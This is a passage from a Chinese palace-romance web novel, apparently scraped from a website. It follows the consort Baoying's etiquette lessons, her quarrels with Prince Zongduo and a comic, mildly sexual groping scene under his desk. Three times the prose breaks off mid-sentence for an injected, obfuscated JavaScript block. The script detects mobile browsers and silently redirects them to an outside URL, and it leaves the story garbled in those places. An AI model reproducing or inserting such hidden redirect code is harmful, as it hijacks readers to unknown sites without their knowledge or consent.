另一个丫鬟忙道:“不过殿下今日携王妃莅临,足以证实那些都是谣传!我们今日见了王妃风姿,谁能不为之倾倒!可见殿下对王妃的一见钟情,那是真得不能再真。” 宝楹听了心花怒放,所以说宗铎果然还是喜欢她的吧?虽然跟他的相处并不能察觉到。 不过,也许是他这人天生性子冷淡呢? 罢了罢了,她很大方地想,只要他真心喜欢她,先前那些恶劣行径就揭过不提了。 等到回府的时候,徐阁老依然没露面,徐家两位老爷拉着宗铎在门口送行。 宝楹不耐烦听他们讲那些官场的东西,便先行回到马车里等候。 登上敞阔的马车,目光扫过中间矮几上的那沓邸报,顺手拿过来一看,都是些官场上的时事,无聊极了,真不知道他怎么能一路看这个东西忍着不跟她说话的。 她忽然冒出个坏主意:要是这沓邸报不见了,那他就不能装模作样了,总该跟她聊聊天了吧。 她嘿嘿坏笑了两声,在车厢里东张西望了一会,将邸报藏在了座榻下的暗格里。 待宗铎上车后,宝楹赶紧闭上眼睛假寐,却又忍不住将眼睛悄悄睁开一条缝观察他。 只见他在座榻上坐定,顺手去拿几案上的邸报,动作却忽地一顿。 几案上空空如也,那沓邸报不翼而飞。 宗铎定了一瞬,锐利的目光朝宝楹瞥过来。 她赶紧闭上了眼睛,假装打着瞌睡,心里却快乐地大喊:快来跟我说话! 可是宗铎什么也没说。 13. 掏鸟窝 宝楹的天塌了。 从徐府回来的翌日清晨,她一睁开眼睛,便看到一张熟悉的面孔——出阁前教她规矩的桂嬷嬷,正一脸肃穆地站在床前看着她。 宝楹疑心自己眼花了,用力揉了揉眼睛:“桂嬷嬷?你怎么会在这!” “王妃,你真是太懒散了!怎么能睡到这个点还不起床?难怪殿下要奴婢来教王妃规矩!”桂嬷嬷很是痛心疾首,“奴婢在宫里教了三十年规矩,头一回遇上返聘的!” 宝楹欲哭无泪。 她记得宗铎明明说过,只要她乖乖听话,就不用学规矩的!他这个言而无信的坏家伙! 第一天,桂嬷嬷教她《女诫》中的夫妇之道。 敬顺之道,妇人之大礼也。谦让恭敬,先人后己。行己有耻,动静有法。妇不贤,则无以事夫;不事夫,则义理堕阙…… 宝楹学得很郁闷。 她觉得自己挺温顺的,不知道为什么还要学这些东西。反倒是宗铎,一点夫妇之道都不懂,应该让桂嬷嬷去教教他。 到了晚膳时分,她连啃了两只冰糖肘子慰劳自己。 翌日,桂嬷嬷开始上第二课:如何听懂别人的弦外之音。 “什么是弦外之音?”宝楹不懂。 “弦外之音就是言外之意,有些话王妃不好直说的时候,便可绕道迂回,让对方领略话中深意。同样的,旁人对王妃说的话,亦有个中深意,王妃则需慎思领会。” “有什么话不好直说的?事无不可对人言,做人就该光明磊落。遮遮掩掩,那是小人行径!” 宝楹说得理直气壮,爹娘一直是这样教她的。 桂嬷嬷无言以对。来之前燕王殿下说王妃“难以沟通”,果真是可见一斑。 “没有为什么!”她粗暴地一刀切,“这是言谈之道,既可作抨击之举,亦可作劝诫之用,进可攻,退可守。王妃身在其位,就不能不懂!” 宝楹头昏脑胀地跟着桂嬷嬷学了半天言谈之道。 好不容易捱到她喜闻乐见的用膳环节,没想到桂嬷嬷竟然没走,亲自站在桌边给她布菜。 今天的膳食是一道蜜汁藕、一道鸡汁豆腐、一道莼菜玉带羹,一道鲜莲子汤。 “怎么没有肉!” 宝楹抗议。施家不算富贵,每顿至少保证有一道肉吃呢。 桂嬷嬷拿了面镜子给她照:“本朝崇尚纤纤之美,王妃身上的肉已经够多了,不需要再吃那么饱。” 宝楹不高兴地嘟起嘴,铜镜里的小圆脸显得更饱满了。 她幽怨地盯着桂嬷嬷。 桂嬷嬷不为所动。她既然接了这门差事,帮助王妃获得夫君的恩宠也在她的职责之内。 “王妃放眼看看京城的贵妇小姐,哪个不是细柳腰、轻莲步?王妃生得这样好,殿下不喜欢王妃,恐怕就是身材上扣了分。” 宝楹不服气:“谁说他不喜欢我?” “要是喜欢,为什么连着两日没踏足昭明殿?”桂嬷嬷看得真真的,她来了两天,从没在后院见过宗铎。 宝楹哑口无言。 这……总不能告诉桂嬷嬷他不行吧。 为了她男人的尊严,宝楹只得憋屈地吃完了这顿全素宴。 没想到,只要能吃素,后面就是吃不完的素。 连着两天,桂嬷嬷在她的饮食上严格把控,不给肉吃便算了,连菜的份量都要减半,铁了心要把她从“肌肤微丰腮凝荔”改造成“弱骨纤形掌中轻”。 宝楹饿得头昏眼花。 终于,在学完四个时辰的规矩还只能吃五分饱的第三天,她忍无可忍了! 晚间打听到宗铎回了王府,她立刻气势汹汹地直奔韫晖堂找他。 从衙署回来后,宗铎换了一身霜色织银纹常服,除冠解带,头顶别一根檀木簪子,半旧的家常服饰仍难掩一身闲适贵气,正在伏案写着奏章。 “殿下!”宝楹跑进来,不待他开口,先声夺人地问责,“不是说我听话就不让我学规矩吗?你言而无信、出尔反尔!” “你听话了么?”宗铎懒洋洋地问她。 宝楹仔细回想一番,很确定地说道:“我没惹你!” 宗铎掸了掸手上的奏折:“好好想想。” 宝楹看着他手中的纸张,蓦地想起被她藏起来的那份邸报,气势不由弱了下来。 “呃,这个,我……”她攥着袖口的花边,犹自强辩,“那邸报的事不是我干的……” 宗铎看着她心虚翕动的长睫,轻叹一声道:“干坏事不要紧,但你得学会不露声色,别什么都摆在脸上,不打自招。让你学规矩,也是为你好。下去吧。” “我不走!”宝楹急了,“那不让我吃肉也是为我好吗?” “谁不让你吃肉?” “嬷嬷不让!她说你们男人都喜欢纤瘦的身材,我胖胖的。” 宝楹低头捏了捏小肚子上的软肉,话音里透出十二分的委屈。 “可是你看,我都饿瘦了。”她拿手环着在腰身上比了比。 宗铎顺着她的动作,目光瞟到她饱满的胸脯,不由想起那日在徐府客房看到的海棠春睡的一幕,不大自然地把脸别向一边:“知道了。我给孙姑姑打声招呼,以后不会再限制你的饮食了。快下去吧。” 宝楹没想到他这么好说话,顿时得寸进尺,想一鼓作气把桂嬷嬷也送走,因此磨磨蹭蹭地不肯走。 “还有什么事?”宗铎微微敛起眉心,语气里透出些许不耐。 “我……” “殿下。徐老大人来了。”元仪的声音在外头响起。 宗铎微讶扬眉,为了避嫌,徐阁老并不常到他这里。有什么事情,通常会吩咐徐沛过来传话。今天这是所为何事,竟亲自登门? 来不及思索其来意,他先意识到另一个迫在眉睫的问题。 上回拜访徐府,徐阁老虽原谅了他在婚事上的先斩后奏,但并不想见他的新王妃,因此当日没有让她前去拜见。 倘若此时让她出去,这两人势必在廊下碰到。 为免徒惹徐阁老不快,宗铎朝身后的屏风抬了抬下巴,对宝楹道:“你先下去避一避。” 宝楹也知道那位老大人不喜欢她,生怕徐阁老为难她,慌里慌张之下竟会错了意。 虽然并不明白宗铎为什么要让她“下去”避一避,不过看他面前那张紫檀四方桌案下面倒还算宽敞,虽不十分情愿,也只得一咬牙钻了进去。 宗铎扶额。 正欲拉她出来,书房门已“吱呀”一声打开,他只得作罢。 一抬头,徐阁老走了进来,一身朱红鹤补的官服尚未来得及换下,显见是从值房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149195|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来便直奔燕王府。 宗铎肃整心神,起身相迎:“外公,何事劳您亲临?” 徐阁老气喘吁吁,径自在太师椅上坐下,摘了冠帽,抹了把额头上的汗,喝下半盏茶顺直了气,方开口道:“事关重大,你且坐下,慢慢商谈。” 宗铎坐回座椅上,等待他道明来意。 只见徐阁老神色肃重,从袖中取出一纸信封递过来。 宗铎接过信封,看到上面被破坏的火漆印,目光一凝,先抬眸看了徐阁老一眼。 他在北疆军营待过两年,往北元插入了数十道暗桩。这封信正是他留在北元的探子传回来的,却先经了徐阁老的手,这令他有些不悦。 展信一看,上面龙飞凤舞地写了一行字:北元汗王病危,二王子木里异动。 他顿时神思一凛,将方才的不悦抛到了脑后去。 北元是位于大靖北疆的游牧政权,与大靖多有摩擦。三年前宗铎随军出征,在肃州大败北元,以此换来了迄今一年的边疆和平。 倘若北元汗王更迭,只怕要打破如今的和平状态。战争对老百姓而言是灾难,然而对他这等角逐权力的王孙而言,何尝不是上位的机遇。 宗铎沉吟道:“当初我在肃州跟木里交过手。此人野心十足,亦颇能干,不是甘居人下者。汗王病重,他势必会集结势力,与北元太子一争高下。” 徐阁老捋须道:“北元内乱,我是乐见其成。如今户部银子充盈,你不若上奏圣人,趁其内乱一举击溃北元。有此不世之功,太子之位安能旁落?” 宗铎不以为然,指尖轻轻点着雕花扶手:“陛下春秋鼎盛,没了北元这个威胁,我纵使入主东宫,能坐多久这个位子,也不过是看陛下心情罢了。不过,若能收服北元为我所用,局势又大不一样了。” 徐阁老大吃一惊:“你的意思是……你想扶持木里上位?” 宗铎颔首:“木里虽有才干,到底手边没人没钱,胜算不到三成。我们扶他坐上北元汗王的位子,将来竞逐东宫,他于我们何尝不是助力?” 徐阁老心中暗赞他的魄力,竟在短短几息间便做出如此果断决策。只是不得不审慎道:“你可想好了?事成之前,万一走漏一丝风声,那就是通敌之罪。你我的人头,可都担系在了上边哪。” “机不可失。” 宗铎斩钉截铁,提笔在宣纸上草拟起了章程。 宝楹猫在桌子底下听得云里雾里,什么北元,什么木瓜,半点儿也听不懂。 她无所事事地东张西望,这桌案虽宽敞,其实活动空间并不大,底下又摆了一张脚踏,愈发显得逼仄。 她的可视范围也只有向着宗铎的那一面。百无聊赖之下,只能认真地研究他的靴子花纹。看得腻了,她目光便往上游走。 时值盛夏,因在府内,宗铎并未着袍,身上穿着一条菱格螭纹绸裤,轻薄的织物勾勒出双腿修长结实的线条。 他坐姿挺拔舒展,宝楹一抬头,便看到中间鼓鼓囊囊的大包。 她一想到自己之前的数次探索都铩羽而归,一下子起了坏心思。 如今宗铎正聚精会神地与徐阁老议事,肯定没空防备她。今儿她非要见见真章不可,看看他到底藏了什么不能示人的宝贝! 宝楹心中窃喜,不安分的小手往那大包上抓去。 14. 心碎黑化的宝楹 隔着轻透的绸缎,宝楹触上一团软弹的物事。 她还来不及感受那形状,宗铎的身子便猝然绷紧,双腿猛地并拢。 宝楹正跪伏在他腿间,被修长有力的双腿一夹,她一吃痛,下意识地攥住了手上唯一可抓握的东西。 宗铎“嘶”的一声,鼻尖顿时沁出了冷汗。 “怎么了?有什么不妥?”徐阁老见状立刻问道。 “没什么。” 宗铎强忍住把桌下之人踹开的冲动,以免被徐阁老察觉她的存在。 然而他的隐忍换来的是她的得寸进尺。 宝楹见他没有反应,胆子遂大了起来,将整只手掌覆了上去,轻轻地抓握起来。 不得不说,那手感可真好。可是渐渐地,她察觉出不对劲来:那团软弹的物事在她手中逐渐膨大起来,轩昂地抬起头,仿佛要冲破衣料的束缚直冲到她脸上来。 绸缎根本抵挡不住它透出来的热度,她手中如同握着根滚烫炭条般,宝楹有些不知所措地撒开了手,可是它却没有消停下去,不甘地被布料束缚着,只能颤巍巍地昂着头。 它……怎么会变成这样? 她忽然想起爹爹说过,人死了尸体就会变硬,有的尸体还会膨大几圈。莫非……莫非她把它玩死了? 宝楹被这个念头吓了一跳。 她听见徐阁老问道:“殿下,你怎么了?是不是哪里不舒服?” “是有点不适。”宗铎竭力克制喧嚣着往下灌的血液,声音显得低沉喑哑,“您先回去吧,待我拟出章程,再召穆先生他们一道过来探讨。” 徐阁老有些狐疑地打量他的神色,只见他鼻梁上沁着薄汗,耳朵至两颊都泛着可疑的绯色。 然而任他如何也想不到桌子底下藏着个人,只当是天气闷热之故,便道:“此事事关重大,延捱不得。恰巧今日我在,便先与你敲定章程。支援木里所费粮草人马开销不少,这一大笔银子上哪弄去?” 宗铎略定心神,道:“外祖父莫不是忘了,五月巡盐御史的任命就该下来了。拿到这项差事,唔……” 他忽然脸色骤变,难耐地哼了一声。 原来宝楹只道它是被她玩坏了,当下惊慌不已,生怕宗铎跟她算账,于是两只手用力压上去试图让它软化。 宗铎此刻杀人的心都有了,只是顾及徐阁老在场,他没有发作。 徐阁老对他的分心有些不满,肃然道:“殿下!你今天怎么了?扶持木里之事不是儿戏,若是没下定决心,就不要耽误老夫的时间了!” 他这话说得不客气,然而宗铎此刻被桌下的宝楹扰得心神大乱,一时也顾不得安抚徐阁老,便顺着他的话道:“我需要考虑考虑。外公先回去吧!” 徐阁老大失所望,气得拂袖而去。 门一关上,宗铎立刻将桌下作乱之人扯了出来。 “施宝楹!”他怒不可遏地盯着她,“谁给你的胆子!” 宝楹没站稳摔坐在地上,她揉着被他拽疼的胳膊,心虚又害怕地说道:“我也不知道会变成这样,我、我不是故意的!” 宗铎冷笑:“不是故意的?手长在你身上,还有谁拽着你的手不成!” 宝楹心虚地瞥了眼那顶起来的帐篷,嗫嚅道:“我就是、就是太好奇了……” “好奇?”宗铎打断她,一张俊脸气得通红,“你知不知道这是什么场合?” 宝楹自知理亏,犹自强辩道:“可是、可是谁让你平时跟防贼一样防我?你越不让我碰,我当然就越好奇啊。” “我跟你说过多少遍,我不喜欢跟人肢体接触?你爹娘难道没教过你什么叫廉耻,不可以随便碰男人的身体吗?” 宝楹不可置信地张大眼睛瞪着他,水杏眼里已凝起了泪花:“你怎么能这样说我?我们是夫妻啊!” “谁跟你是夫妻?” 宗铎那处胀得发疼,再看罪魁祸首一脸懵懂,一副楚楚可怜之态,心下更是又烦又躁。 但凡是个有脑子的人,在跟他分居而住时,就该认清自己的位置了。偏这位既不懂人情世故,又喜欢自作多情,简直跟刚成精化形的动物没什么两样! “好,今天把话跟你说清楚明白。本王对你这又呆又笨的獠儿半点兴趣也没有,之所以娶你,完全是因为你的八字凤命在临,你乖乖当好一个摆设就是了,别再自作多情,听懂没有?” “又呆又笨?”宝楹不可置信地望着他,“你是在说我么?” “除了你还有谁。”宗铎看着她那挂着泪珠的清莹杏眼,心下越发烦躁,加重了语气道,“从今往后,你只管当好你的吉祥物,别妄图插手我的事情。还有,以后不许你到韫晖堂来。出去!” 宝楹反应了好一会儿方理解了他的意思。 她震惊极了:她在家里大小姐当得好好的,凭什么要来给他当吉祥物?他问过她的意见了吗就把她娶回来? 宝楹越想越气。 她此刻应该在施家小院的藤椅乘凉,等着母亲炖鸡汤给她喝,而不是在这莫名其妙的王府,受这莫名其妙的气! “我讨厌你!”她使劲地跺了跺脚,转身跑出了韫晖堂。 宝楹回到昭明殿,伏在枕畔上哭了一回。 宗铎的话实在是超出了她的认知,她竟不知娶妻还能有这种理由。 珍娘与施大路感情甚笃,她从小耳濡目染,对婚姻之事非常向往。 结发为夫妻,恩爱两不疑。 她自问对他是很用心的,哪怕他冷落她、斥责她,她也从没放在心上。 没想到她的夫君对她半分爱意也无,只是拿她当一个夺嫡的工具。 宝楹震惊之余,心更是碎了一地,趴在枕头上哭得上气不接下气。 白露等人瞧这情状,以为她是在宗铎那里又碰了壁,只当没看见。 只有小帘坐在床畔安慰她。 “小姐快别哭了,老爷和太太又不在,哭肿了眼睛也没人哄你。” “呜呜呜。”宝楹不听,只是哭。 小帘一看这不是办法,便跑到厨房,让人做了一碗宝楹暑天最爱吃的冰酥酪。 “小姐小姐,快起来吃好东西。” 小帘把盛着冰酥酪的玛瑙碗放在桌上,一边感叹道,“咱们从前在家时,哪能天天吃这玩意啊!小姐快别哭了,咱们把王府吃穷,就是对姑爷最好的报复!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149196|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不吃,我就是饿死,也不吃他们一点东西!” 宝楹将脸埋在枕头里,声音闷闷的。 “可是已经做好了耶,小姐不要,那我吃啦?” “你吃吧!” 过了一会儿,她又从床上坐起来,抹抹眼泪道,“给我留半碗。” 次日清早起来,宝楹的眼圈肿肿的。 小帘伺候她洗漱,发愁道:“坏了,一会儿桂嬷嬷过来,又要说小姐仪容不整了。” 宝楹轻轻哼了一声。 既然宗铎不当她是妻,那她才不要配合他学规矩了。 她打算一会儿桂嬷嬷过来,非得给对方个下马威不可,让桂嬷嬷知道她可不是个面团儿,任人搓圆捏扁! 没想到桂嬷嬷没来,倒是孙姑姑过来了。 看到她红肿的眼圈,倒也见怪不怪,只是说道:“王妃,殿下说了,您既然不喜欢束缚,那今后便不必跟着桂嬷嬷学规矩了。” 其实宗铎原话是“朽木不可雕也”,算是彻底对她失望了。 只是这小半月的相处下来,孙姑姑也算了解了王妃的性情,这是个得顺毛捋的犟主儿,自然不能对她实话实说,因此迂回地说了些好话。 宝楹听罢,还有些遗憾不能大闹一场。 孙姑姑又道:“王妃白日里闲来无事,不如培养些爱好,一则打发时日,二来亦可修身养性。琴棋书画、莳花煮茶,王妃喜欢哪些?” “都不喜欢!” “那王妃喜欢什么?” “喜欢吃!”宝楹兴致勃勃地如数家珍,“春天吃桃花鮓,夏天吃冰湃的鲜蔬瓜果,秋天吃螃蟹和桂花酒,冬天吃羊肉煲。” 孙姑姑失笑道:“这算什么爱好。王妃别嫌奴婢多嘴,您是有正经一品诰命的亲王正妃,什么都不会,只怕惹人笑话。不若请位琴师来教王妃奏琴如何?” “不要!”宝楹连忙摇头。她养了一手漂亮的水葱一样的长甲,可不想为了弹琴剪掉。 孙姑姑又道:“那么,王妃学着作画可好?丹青一技,可以兼修书画。将来宫里的娘娘们逢喜,王妃送上一幅亲题画作,也不算失礼。” 宝楹眼珠一转,想到了报复宗铎的法子,便应了下来。 孙姑姑又道:“那奴婢遣人送些作画的器具来。王妃白日无事,可先信手画一幅丹青。待明日画师过来看看王妃的水准,也好因材施教。” 待她走后,果然有小火者送来一套笔墨画纸。 宝楹将画纸在书案上摊开,提笔蘸墨,在纸上画了个圆圈,以线为眉,以点为目,画了个写意的人头出来。 “知道这是谁吗?”她问小帘。 小帘看了半天,疑惑地摇摇头。 “你这个笨蛋!” 宝楹戳了戳她的脑袋,想了想,又在那人头上画了顶宗铎常戴的紫金冠。紧接着,她又在人头之下画了个狗的身子。 臭狗!敢耍你宝儿姑娘! 宝楹忿忿地想,把他画成人头狗身犹嫌不足,又在那人头旁边画了一只脚,挥毫题了一首打油诗: 狗儿热情舔吾足,吾嫌狗儿谄媚奴。今朝得势须忍耐,来日必把狗儿屠。 15. 洗心革面的宝楹 翌日一早,孙姑姑果然领了位画师过来。 画师姓夏,是个三十余岁的恬静妇人,说话细声慢调,比桂嬷嬷亲切得多。 宝楹拿了她的“狗儿图”给夏娘子品鉴。 夏娘子一看那乱七八糟的画儿,险些没忍住笑:“王妃这画的什么?” 宝楹瞅着一旁的孙姑姑道:“这是我家以前养的一条狗,见人就吠,呜汪乱叫,其声可憎,其形可厌!我把它画出来,是为警醒世人向善,莫学狗子作恶。” 任孙姑姑如何也想不到她竟有胆子影射宗铎,只当她是故意捣乱,摇头笑道:“王妃也太孩子气了些。这画儿不成画,可见王妃没用心在上面。不过既请了夏娘子来,今后王妃只管静心修习便是了。” 从昭明殿出来,孙姑姑先去韫晖堂给宗铎回话:“请了苏州的丹青大家夏娘子来教王妃作画。王妃真是淘气,画了一幅乱七八糟的画,要叫夏娘子见笑了。” 宗铎有点不耐烦:“我说过让你别管她。” “王妃这么冒失,怎么能不管哪。”孙姑姑叹道,“外头多少人盯着咱们燕王府!殿下也是,打小就是沉稳的性子,怎么偏偏跟王妃这么过不去呢?奴婢今儿去昭明殿,看到王妃的眼皮还哭得红红的呢。” “不是我跟她过不去,是她实在不像话。”宗铎冷笑一声,不想再提她的壮举,“以后她的事不要跟我说,我不想听。退下吧。” 孙姑姑有些纳闷地退了出去。 她看着宗铎长大,知道他的脾气相当沉稳,鲜少有表露喜恶的时候。王妃性子虽莽撞些,却也不乏可爱之处,怎么就惹得殿下如此厌烦? 昭明殿里头,夏娘子正在给宝楹讲述丹青理论。 宝楹歪着头哈欠连天,夏娘子不由蹙起秀眉。 她虽是一介白身,在江南却很有名气,是王公贵族争相追捧的丹青大家,如今却遭到这样的怠慢,当下脸色便有些不好。不过既收了束脩,只得耐心讲下去。 “画有六法,一乃气韵生动,二乃骨法用笔,三乃应物象形,四乃随类赋彩,五乃经营位置,六乃传移模写……” 下边的宝楹忽然笑起来。 夏娘子再也按捺不住,锁着眉头道:“王妃何故发笑?” “唔,我想起烹饪七法,煎炸烹煮焖炖蒸,比绘画六法还多一法呢!” “王妃!”夏娘子有些恼火,“笔墨丹青乃修身养性的雅事,怎好以庖厨这等俗事类比?” “庖厨也是雅事啊!”宝楹振振有词地反驳她,“要说修身养性,再没有比吃喝玩乐更修身养性的。都说饱暖思什么欲,要不是吃饱了,能有心思画画么?你饿着肚子,还能画出画儿来么?” “夏虫不可语冰!这差事我教不了,王妃另请高明吧!” 夏娘子被她气走了。 宝楹高兴地回了寝殿,盖着纱衾睡回笼觉。 旭日高起,青霜端着朱漆托盘走进来,见她还躺着床上睡觉,不由蹙眉道:“王妃,都什么时辰了,也该起来了!” 宝楹揉揉眼睛坐起来:“你有什么事?” 青霜将漆盘往桌上一放:“王妃五月的例银发下来了。奴婢送来让王妃点一点,点完好收进私库里去。” “月银?”宝楹眼睛一亮,“有多少?” 青霜看不惯她这懒洋洋的模样,想挫一挫她的锐气:“按本朝惯例,亲王妃的例银是五十两,从内帑下拨,王府可酌情在府库中添银。殿下没发话,王妃便只有内帑发下来的五十两。” “五十两?” 宝楹一下子从床上弹起来,鞋子都等不及穿,光着脚蹦到月亮桌边,只见那漆盘上整整齐齐地摆着五锭十两重的雪花银,她看得眼睛都直了。 要知道,她爹每日早出晚归抓罪犯,一个月可只有十两俸银! “这是每个月都有的吗?” 青霜费解地看着她:“当然,这是月例银子啊!王妃莫不是想每天都有?” 宝楹没计较她话里头的挖苦,自顾掰着手指数数:一个月五十两,两个月一百两,一年就是六百两!怎么会有这么好的事啊! 她喜得团团转,对青霜道:“别放什么私库了,我自己保管就行。” “可是……” “没有可是!”宝楹只想赶紧把她打发走,“不然我连首饰也不让你管了!” “你怎么敢!”青霜瞪大眼睛,“我可是贤妃娘娘派到王府的大宫女!” 宝楹针锋相对:“那我还是皇上赐婚的大王妃呢!” 青霜一愣,王妃把皇上都搬了出来,她再是不服,也只得不情不愿道:“奴婢知道了。” 打发走青霜,宝楹喊来小帘,包了三十两银子起来递给她:“这些让人送回家去给我娘花。” 施大路的月俸只有十两银子,除去每月要存蓄的二两银子、给她零花的一两银子,剩下的七两要负担一家人的吃用、六个仆人的开销。 自宝楹记事起,珍娘总是在屋子里算账,精打细算地安排每一文钱的去处。 只要一想到珍娘看到那三十两的表情,她就忍不住乐得眯起眼睛来,恨不得亲自把银子送回去,好给娘亲一个惊喜。 差走小帘,宝楹伏在桌上,拿剩下的两枚银锭贴着脸蛋,冰冰凉凉的分外沁爽。 虽然嫁到王府她感觉分外孤独,不过这五十两银子填补了她的空虚。就算宗铎拿她当吉祥物又如何,他花了钱的呀! 宗铎在她心中已荣升到金主的尊位。 她忽然噌地一下坐直了身子。 坏了,她为了跟宗铎作对,把夏娘子气跑了。要是她去跟宗铎告状怎么办? 宝楹慌慌张张地拎着裙子去找孙姑姑。 孙姑姑一看到她便摇头。 “夏娘子已经跟奴婢请辞了。”孙姑姑难得一派肃然,严厉地说道,“王妃简直胡闹!夏娘子声名显赫,来往之人非富即贵。王妃这么一闹,刁蛮任性的名声只怕不出三天就要传遍京城了!” 宝楹倒不怕坏名声传遍京城,她只怕传到宗铎耳朵里,万一惹恼了他,不要她了怎么办! 她垂头盯着鞋尖,心虚不已地说道:“那可如何是好啊?” 孙姑姑见她眉眼低垂,长睫不安地翕动着,这小模样分外楚楚可怜,又不觉心软,放缓了语气道:“王妃记住教训就好。夏娘子那边奴婢已经打点好了,给足了封口费,她不会出去乱生是非的。” 宝楹松了口气,又好奇地问道:“姑姑给了多少封口费?” 孙姑姑张开五根手指。 “五两银子?” 宝楹心道,总不能是五十两吧?若是一次任性赔掉她一个月的例银,那她今夜要懊悔得睡不着觉了。 “五百两!”孙姑姑有意叫她记住教训,“王妃谨记,银子不算什么,声名才是重中之重。王爷在外素有贤名,若是因王妃之故败坏了名声,只怕贤妃娘娘第一个饶不了你!” 宝楹吓得缩了缩脑袋。 虽然跟贤妃只见过寥寥一面,可她对那位深宫中的贵妇人莫名有种畏惧之心。更何况有了徐家的见闻在前,她直觉贤妃也不会多喜欢她。 回到昭明殿,宝楹一眼看到她放在桌案上的那张狗儿图,忙又把小帘喊过来:“这张画儿你快悄悄拿去烧了,千万不能让殿下看见。” 小帘有些为难:“小姐,王府里不许擅自生明火,被抓到要打板子的。” “拿去厨房烧,那儿火大。” “厨房人来人往的,会被人瞧见的。” 宝楹想了想,道:“那你天黑了拿去园子里烧,就没人瞧见了。” 小帘连连点头:“小姐真机智!” 夜色降临,宗铎结束一天政事,坐在韫晖堂里,便不由自主地想起那獠儿对他做的事情,心里觉得很不得劲。 他金尊之躯,竟被一个女人肆意玩弄,那酥麻灼热的感觉仿佛还在腹下挥之不去,隔着一层软滑衣料,女子手心那柔弱无骨的触感如丝似缕般绞缠上来…… 宗铎猛地打住思绪,遽然起身离开了韫晖堂。出到演武场,提起长剑练了一套剑招,这才觉得心头的躁动消散了许多。 夜风轻拂,习武之人五感敏锐,他忽然嗅到风里捎带进一丝呛人的烟气。循着风的朝向望过去,见到不远处的水榭边隐隐闪着火光。 宗铎还剑入鞘,迈步朝水榭走过去。 借着下弦月袅淡的辉光照明,小帘蹲在火盆旁,擦起火石点起了一簇火苗,正往里头放枯枝木叶助燃。 这是她精挑细选的好地方,等把画儿烧了,就地取水灭火,保管谁也发现不了。小姐一定会夸她办事得力的! 小帘心里美滋滋的,见火焰腾地窜了起来,便从地上拿起宝楹的画,正准备投入火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149197|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盆里,身后突然响起一道沉冷的男声:“谁让你在这生火?” 小帘惊得一激灵,手里的画脱手掉到地上。回头见是宗铎,更是吓得魂飞魄散。 宗铎瞧清她的脸,见是那呆子的陪嫁,眉心已微不可察地蹙了起来。 见她手忙脚乱地要去捡地上的画轴,他剑尖一挑,那画轴便飞到了手里。 小帘一颗心提到了嗓子眼,当她看到宗铎缓缓展开画轴的时候,悬着的心终于死了。 平心而论,宝楹的画技只能说是潦草。 然而宗铎一看到画上那只写意的脚,不由自主地想到那天下过雨,她领着丫鬟们在院子里玩水,白生生的脚丫踩在水上的情景。 再一看那不伦不类的狗身人头,虽没有指名道姓,可他竟莫名地感到被冒犯的不悦。 他抬起眼皮瞟了眼一旁瑟瑟发抖的小帘,又垂眸看向画上题的打油诗。 都说字如其人,那一手字写得圆钝可爱,这倒不像她了。她虽看着人畜无害,实则攻击力强得没边。 “狗儿热情舔吾足……” 那打油诗虽没有指名道姓,但宗铎何等敏锐之人,一眼就看穿她的小把戏。 他的脸色骤然沉下来。 小帘胆战心惊,欲盖弥彰地说道:“殿、殿下,这图上画的绝对不是你……” 宗铎扬手将那副画抛回她怀里,冷冷道:“擅自在府里生火,且罚你半年月例。如有再犯,滚回施家去!” 小帘的天塌了。 垂头丧气地回了昭明殿,宝楹见她还抱着那幅画,不由跳了起来:“不是让你拿去烧了吗?” 小帘哭丧着脸:“小姐,我真没用,烧画的时候被殿下逮了个正着!” 宝楹吓了一跳,忙道:“他看到画了?有没有说什么?” 小帘欲哭无泪:“殿下倒没说那画什么,可是罚了我半年的月例,呜呜呜!” 宝楹这么一听放下心来,毕竟她那画也没写宗铎的名字,他还能知道她画的是他不成? 她手一挥,很是豪气道:“半年月例算什么?小姐补给你!” 小帘在施家每个月有五百文月钱,半年的月例,不过是三两银子。 宝楹打开妆台上的乌木匣子,取出一锭银子,拿剪刀铰了约莫三两的重量递给她:“喏,拿好了。” 小帘掂着手里的三两银子,撅着嘴道:“小姐!王府给我的月钱是二两银子呢!” 宝楹睁大眼。 二两月银,那半年岂不是十二两!她如今匣子里也只有二十几两私房银,是万万舍不得拿出十二两给小帘的。 她不由跺了跺脚:“殿下真是的,干嘛要克扣底下人的银钱!扒皮鬼!” 小帘苦着脸道:“小姐,那怎么办啊,你该不会不管我了吧!” “怎么会呢。”宝楹干笑两声,“当然会补给你啊!不过,是殿下扣的,自然该让他来补。” “怎么让?” 宝楹转了转眼睛:“讨好他!” 夜色四合,月淡霜浓之时,韫晖堂还亮着灯火。 元仪端着托盘走进来,将一盅白瓷盖碗放在桌边。 